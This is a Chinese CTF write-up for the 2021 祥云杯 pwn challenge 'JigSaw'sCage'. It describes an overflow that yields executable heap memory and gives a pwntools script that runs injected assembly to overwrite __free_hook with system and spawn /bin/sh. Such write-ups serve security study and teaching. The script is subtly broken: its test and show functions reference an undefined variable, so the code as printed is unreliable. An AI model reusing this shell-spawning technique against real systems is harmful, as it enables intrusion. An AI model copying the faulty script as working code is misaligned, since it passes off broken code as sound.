2021 祥云杯 pwn JigSaw‘sCage

这篇博客详细介绍了如何利用C程序中的sysconf函数获取系统配置信息,并通过栈溢出来操控内存,实现代码注入。作者展示了如何通过精心构造的汇编代码,修改free_hook为system,最终执行/bin/sh。文章中提供了详细的步骤和Python脚本,演示了整个攻击过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述显然全绿。

libc给的是2.31的

进场画面简洁。
在这里插入图片描述

E9这个函数。

在这里插入图片描述5148开了个空间,然后栈上写了个名字。

15f0这个函数首先引入眼帘的是
在这里插入图片描述sysconf这个函数。
干嘛的?

sysconf 函数用来获取系统执行的配置信息。例如页大小、最大页数、cpu个数、打开句柄的最大个数等等

我们在输入v1的时候可以看到,类型是ld,但是我们的v1只有四个字节,那么就会溢出4个字节给v2,那么就可以得到一块rwx的内存。地址就是我们的heap的地址。

add
在这里插入图片描述就是申请 0x10的chunk。

edit
在这里插入图片描述编写

delete
在这里插入图片描述删除,都清掉了。

show
在这里插入图片描述

test
在这里插入图片描述
能执行chunk里的代码。

那么我们的思路是啥,我们现在可以写汇编代码来执行。
我们利用的是寄存器残留的值,改一下free_hook是system就行。

exp

-*- coding:utf8 -*-
from pwn import *

r = process("./JigSAW")


def add(index):
    r.sendlineafter("Choice : ", "1")
    r.sendlineafter("Index? : ", str(index))

def dele(index):
    r.sendlineafter("Choice : ", "3")
    r.sendlineafter("Index? : ", str(index))

def edit(index, content): 
    r.sendlineafter("Choice : ", "2")
    r.sendlineafter("Index? : ", str(index))
    r.sendlineafter("iNput:", content)
    
def test(idx):
    r.sendlineafter("Choice : ", "4")
    r.sendlineafter("Index? : ", str(index))

def show(idx):
    r.sendlineafter("Choice : ", "5")
    r.sendlineafter("Index? : ", str(index))

r.sendlineafter("Name:", "aaaa")
r.sendlineafter("Make your Choice:", str(0xffff00000000))

code1 = asm("add r10, 0x50068; mov r12, r10;")
code2 = asm("sub r10, 0x1496b0; mov qword ptr [r12], r10")
add(0)
add(1)
add(2)
edit(0,code1)
edit(1,code2)
edit(2,'/bin/sh\x00')

test(0)
test(1)
dele(2)

r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值